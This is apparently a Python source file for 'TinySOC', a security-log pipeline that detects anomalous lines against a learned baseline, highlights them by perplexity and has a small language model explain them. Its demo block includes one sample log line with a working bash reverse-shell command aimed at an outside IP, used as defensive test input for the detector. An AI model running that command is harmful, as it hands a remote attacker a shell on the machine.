pipeline.py

"""TinySOC pipeline: baseline (detect) -> perplexity (highlight) -> model (explain).

One entry point per log stream. The baseline carries detection; only lines above
a risk threshold pay for perplexity highlighting and an LLM explanation, so the
stream stays cheap. Explanation runs on a small (<=4B) model: a local GGUF via
llama.cpp on the public Space (default), or ollama on a remote GPU in dev.
"""
from __future__ import annotations

import json
import os
import re
from typing import Any

import requests

import baseline_engine as be
import perplexity_engine as ppe

BACKEND = os.environ.get("WEC_BACKEND", "llamacpp").lower()
OLLAMA_CHAT = os.environ.get("WEC_OLLAMA_URL", "http://localhost:11434") + "/api/chat"
EXPLAIN_MODEL = os.environ.get("WEC_EXPLAIN_MODEL", "gemma4:e4b")
FLAG_THRESHOLD = float(os.environ.get("WEC_FLAG_THRESHOLD", "0.6"))

_SYSTEM = (
    "You are TinySOC, a local SOC analyst for a solo operator or small MSP with no "
    "SOC team. You receive ONE anomalous log line plus the deterministic reasons it "
    "was flagged. Reply with ONLY a compact JSON object, no prose, with keys: "
    '"severity" (low|medium|high|critical), "summary" (one short plain-English '
    'sentence), "why" (one sentence on the risk), "next_action" (one concrete step), '
    '"likely_false_positive" (true|false).'
)


def _explain(line: str, reasons: list[str]) -> dict[str, Any]:
    """Ask the small model to explain a flagged line. Detection is already done."""
    user = "LOG: " + line + "\nFLAGS: " + ("; ".join(reasons) if reasons else "anomalous pattern")
    messages = [{"role": "system", "content": _SYSTEM},
                {"role": "user", "content": user}]
    if BACKEND == "ollama":
        return _parse_json(_explain_ollama(messages))
    from backend_llamacpp import complete

    return _parse_json(complete(messages))


def _explain_ollama(messages: list[dict[str, str]]) -> str:
    """Dev backend: ask a remote GPU's small model for the triage JSON."""
    resp = requests.post(OLLAMA_CHAT, json={
        "model": EXPLAIN_MODEL, "stream": False, "think": False,
        "options": {"temperature": 0},
        "messages": messages,
    }, timeout=120)
    return resp.json().get("message", {}).get("content", "")


def _parse_json(raw: str) -> dict[str, Any]:
    """Tolerant JSON parse: strip <think>, code fences, grab first {...}."""
    raw = re.sub(r"<think>.*?</think>", "", raw, flags=re.S)
    try:
        return json.loads(raw)
    except json.JSONDecodeError:
        match = re.search(r"\{.*\}", raw, re.DOTALL)
        if not match:
            return {"severity": "unknown", "summary": raw.strip()[:200],
                    "why": "", "next_action": "", "likely_false_positive": False}
        return json.loads(match.group(0))


def analyze_stream(profile: dict, lines: list[str], context: str = "",
                   max_enrich: int = 12,
                   sources: list[str] | None = None) -> list[dict[str, Any]]:
    """Score every line; highlight + explain only the top flagged ones.

    Detection (cheap) runs on all lines. The costly perplexity + LLM enrichment
    runs only on the `max_enrich` highest-scoring flagged lines, so an uploaded
    file with many anomalies can't blow up latency.
    """
    scored_all = [be.score_line(profile, line) for line in lines]
    flagged = [i for i, s in enumerate(scored_all) if s["global_score"] >= FLAG_THRESHOLD]
    enrich = set(sorted(flagged, key=lambda i: scored_all[i]["global_score"], reverse=True)[:max_enrich])

    results: list[dict[str, Any]] = []
    for i, scored in enumerate(scored_all):
        record: dict[str, Any] = {
            "raw": scored["raw"],
            "global_score": scored["global_score"],
            "axes": scored.get("axes", {}),
            "reasons": scored.get("reasons", []),
            "flagged": scored["global_score"] >= FLAG_THRESHOLD,
            "source": sources[i] if sources else "demo",
            "tokens": None,
            "explanation": None,
        }
        if i in enrich:
            record["tokens"] = ppe.score_tokens(scored["raw"], context)
            record["explanation"] = _explain(scored["raw"], scored.get("reasons", []))
        results.append(record)
    return results


def build_context(normal_lines: list[str]) -> str:
    """Normalized normal events used as perplexity context (recent baseline window).

    Parses each line first so Wazuh JSON alerts contribute their full_log text,
    not raw JSON, to the perplexity context.
    """
    raws = []
    for line in normal_lines:
        fields = be.parse_event(line)
        if fields:
            raws.append(ppe.normalize_line(fields["raw"]))
    return "\n".join(raws[-8:]) + "\n"


if __name__ == "__main__":
    normal = [
        "Jun  9 08:14:01 srv-web-01 sshd[2211]: Accepted publickey for deploy from 10.0.0.12 port 51020 ssh2",
        "Jun  9 08:15:33 srv-web-01 sudo: deploy : TTY=pts/0 ; PWD=/var/www ; USER=root ; COMMAND=/usr/bin/systemctl restart nginx",
        "Jun  9 08:20:11 srv-web-01 CRON[3120]: (deploy) CMD (/usr/local/bin/backup.sh)",
        "Jun  9 09:02:45 srv-web-01 sshd[2240]: Accepted publickey for deploy from 10.0.0.12 port 51044 ssh2",
        "Jun  9 17:48:09 srv-web-01 sshd[2301]: Accepted publickey for deploy from 10.0.0.12 port 51120 ssh2",
    ]
    profile = be.learn_baseline(normal)
    context = build_context(normal)

    stream = normal[:2] + [
        "Jun  9 03:14:55 srv-web-01 bash[9913]: bash -i >& /dev/tcp/198.51.100.13/4444 0>&1",
    ]
    for r in analyze_stream(profile, stream, context):
        mark = "🚨" if r["flagged"] else "  "
        print(f"{mark} score={r['global_score']:<5} {r['raw'][:70]}")
        if r["flagged"]:
            spikes = [t for t, n in r["tokens"] if n >= ppe.SURPRISE_NLL]
            print(f"     highlight: {spikes}")
            print(f"     explain  : {json.dumps(r['explanation'], ensure_ascii=False)}")